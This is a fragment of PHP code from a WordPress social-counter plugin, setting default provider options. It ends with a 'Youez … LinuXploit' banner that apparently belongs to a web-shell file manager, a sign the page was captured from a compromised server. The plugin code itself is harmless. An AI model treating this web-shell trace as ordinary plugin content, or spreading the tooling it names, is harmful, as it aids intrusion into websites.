				'api' => ['type' => 'normal', 'label' => 'API Key', 'input' => 'text'],
			],
		];
	}


	public function xs_counter_defalut_providers() {
		if(!get_option('xs_counter_active')) {
			$default_data = [
				'social' => $this->xs_counter_providers(),
				'cache'  => 5,
			];

			update_option('xs_counter_providers_data', $default_data);
			update_option('xs_counter_active', WSLU_VERSION);
		}
	}
}



Youez - 2016 - github.com/yon3zu
LinuXploit